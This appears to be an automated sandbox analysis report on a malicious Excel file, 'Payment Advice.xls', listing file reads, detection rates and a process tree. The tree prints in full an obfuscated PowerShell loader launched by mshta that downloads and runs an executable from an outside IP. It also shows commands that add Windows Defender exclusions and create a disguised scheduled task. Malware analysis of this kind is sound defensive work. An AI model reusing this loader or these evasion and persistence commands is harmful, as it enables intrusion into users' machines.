Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`..................................s............................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`..................................s............(...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n.......................`.......&..........................s............(...............(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`.......>..........................s............(...............(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.`.......b..........................s............(....... .......(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`.......z..........................s............(...............(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`..................................s............................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`..................................s............(...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~................................s............(.......$.......(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`..................................s............(...............(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`..................................s............................(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`..................................s............(...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............(.......2.......(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`.......l..........................s............(...............(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`..................................s....................l.......(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`..................................s............(...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....................`..................................s............(...............(...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................`..................................s............(...............(...............
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ................0.......................(.P.............$.......<........~......................................................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<..................................s............x...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<..................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<..................................s............x...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<.......&..........................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<.......2..........................s............x...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n.......................<.......D..........................s............x...............H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<.......P..........................s............x...............H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.<.......b..........................s............x....... .......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<.......n..........................s............x...............H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<..................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<..................................s............x...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~................................s............x.......$.......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<..................................s............x...............H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<..................................s............................H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<..................................s............x...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s............x.......2.......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<..................................s............x...............H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<..................................s....................l.......H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<..................................s............x...............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....................<..................................s............x...............H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................<......."..........................s............x...............H...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H...............<..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H...............<..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H...............<..................................s............................8...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H...............<..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H...............t.......5..........................s............................8...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H...............t.......A..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n.......H...............8.......\..........................s............................8...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H...............8.......i..........................s............................8...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.8.......}..........................s.................... .......8...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H...............8.......P..........................s............................8...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H.......................f..........................s............................8...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H...............8.......u..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~................................s....................$.......8...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H...............8..................................s............................8...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H..................................................s............................8...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H..................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2.......8...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H..................................................s............................8...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H..................................................s....................l.......8...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H...............P..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.....H...............P..................................s............................8...............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....H...............P.......(..........................s............................8...............
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ....................0.'.........E.R.R.O.R.:. ...................8...............................................X.........................'.....
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ....................0.'.........E.R.R.O.(.P.....................8.......................................................j.......H.........'.....
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: .................P..............0.x.......x.....0g......................0g......8g.......................3......................0g..............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................h(........................x.....}..w......x......................1......(.P.....@.......D.......................................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!..............P................x.......x.....}..w.............................1......(.P..............3........!.............@...............
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.........................l....}..w....@.......\.......................(.P.....@.......D.......h...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!.....................................@.......}..w..............h.....9..l......g.....(.P.....@.......D.........!.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................Cm.........................l....}..w....@.......\.......................(.P.....@.......D.......h...............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!.....................................@.......}..w..............h.....9..l......g.....(.P.....@.......D.........!.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................t.h.a.t. .t.h.e. .p.a.t.h. .i.s. .c.o.r.r.e.c.t. .a.n.d. .t.r.y. .a.g.a.i.n.............N.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1...h.....9..l......g.....(.P.....@.......D............... .......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .D.e.V.i.C.e.c.R.e.D.e.n.T.I.a.l.d.E.p.L.O.y.m.e.n.t.(.P.....@.......D...............8.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.(.P.....@.......D...............8.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!.....................................@.......}..w..............h.....9..l......g.....(.P.....@.......D.........!.............................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .n.g.). .[.].,. .C.o.m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n...D...............F.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ..!.....................................@.......}..w..............h.....9..l......g.....(.P.....@.......D.........!.....l.......................
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......@.......}..w..............h.....9..l......g.....(.P.....@.......D.......................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................\..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................h..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............................z..........................s..............................%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s..............................%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n..........................................................s..............................%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s..............................%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1....................................s.................... .........%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s..............................%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s..............................%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P........................................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~................................s....................$.........%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................X.......$..........................s..............................%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................X.......7..........................s..............................%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................X.......C..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s....................2.........%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.....................X.......a..........................s..............................%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..................... .......v..........................s....................l.........%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..................... ..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P..................... ..................................s..............................%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P..................... ..................................s..............................%.............
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......@.......&..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......@.......4..........................s..............k.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......@.......F..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......@.......R..........................s..............k.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......@.......d..........................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......@.......p..........................s..............k.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................a.g.a.i.n...............8.......@..................................s..............k.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......@..................................s..............k.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................A.t. .l.i.n.e.:.1. .c.h.a.r.:.1.@..................................s..............k..... .......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......@..................................s..............k.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......@..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......@..................................s..............k.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................+. .~.~.~.~.~.~.~.~.~.~.~.~.~.~.~.~................................s..............k.....$.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......@..................................s..............k.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......@..................................s............................................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......@..................................s..............k.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ . . .m.m.a.n.d.N.o.t.F.o.u.n.d.E.x.c.e.p.t.i.o.n..................s..............k.....2.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......@..................................s..............k.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......8.......B..........................s....................l.......................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......8.......N..........................s..............k.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ................................ .......(.P.............8.......8.......`..........................s..............k.............................
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Console Write: ........................................(.P.............8.......8.......l..........................s..............k.............................
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ....................<.+.........E.R.R.O.R.:. ...t.......@.......@.........................................................................+.....
Source: C:\Windows\SysWOW64\schtasks.exe	Console Write: ....................<.+.........E.R.R.O.(.P.....t.......@.......@.......................................................j.......x.........+.....

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\mshta.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: Payment Advice.xls	ReversingLabs: Detection: 21%
Source: Payment Advice.xls	Virustotal: Detection: 25%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVOVjpBUFBEQVRBXGNhc3BvbC5leGUi'+[cHaR]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\i4ik0bio\i4ik0bio.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES37A5.tmp" "c:\Users\user\AppData\Local\Temp\i4ik0bio\CSCA15BDDDB4364D65A645793B6780D1C5.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\caspol.exe "C:\Users\user\AppData\Roaming\caspol.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\caspol.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpAAE0.tmp"
Source: C:\Users\user\AppData\Roaming\caspol.exe	Process created: C:\Users\user\AppData\Roaming\caspol.exe "C:\Users\user\AppData\Roaming\caspol.exe"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" -Embedding
Source: unknown	Process created: C:\Windows\System32\taskeng.exe taskeng.exe {819EB824-4817-4048-BBF5-A7A0A0C35676} S-1-5-21-966771315-3019405637-367336477-1006:user-PC\user:Interactive:[1]
Source: C:\Windows\System32\taskeng.exe	Process created: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\rrwscqkDSNwLK" /XML "C:\Users\user\AppData\Local\Temp\tmpDCB9.tmp"
Source: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe	Process created: C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe "C:\Users\user\AppData\Roaming\rrwscqkDSNwLK.exe"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sYStem32\wInDOwSPOweRsheLl\v1.0\pOweRShelL.EXe" "PoWeRSheLL.ExE -EX bYpAss -nOP -W 1 -c DeViCecReDenTIaldEpLOyment ; iEx($(iEX('[SysteM.TExT.encODInG]'+[cHAR]58+[cHAR]58+'UTF8.GEtSTrINg([sysTem.cOnVERT]'+[cHAR]58+[chAr]58+'FrOMbASe64StrIng('+[chAR]34+'JG56dWNGVUF3ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10WVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU1lbWJlUkRFRklOaVRpT04gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbU9OIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgWlBudFZzUmhBaCxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBNeWpwcUlrUXdEYixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1alFRcFNYb0lXeSx1aW50ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhWXlwdmx5a3BlKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZFhHTSIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbmFNRVNwYUNlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgV1BmVyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1QYXNzVGhydTsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbnp1Y0ZVQXc6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTIuMy4yNDMuMTM2LzU1L2Nhc3BvbC5leGUiLCIkZU52OkFQUERBVEFcY2FzcG9sLmV4ZSIsMCwwKTtzVGFyVC1TbGVlUCgzKTtpZXggICAgICAgICAgICAgICAgICAgICAg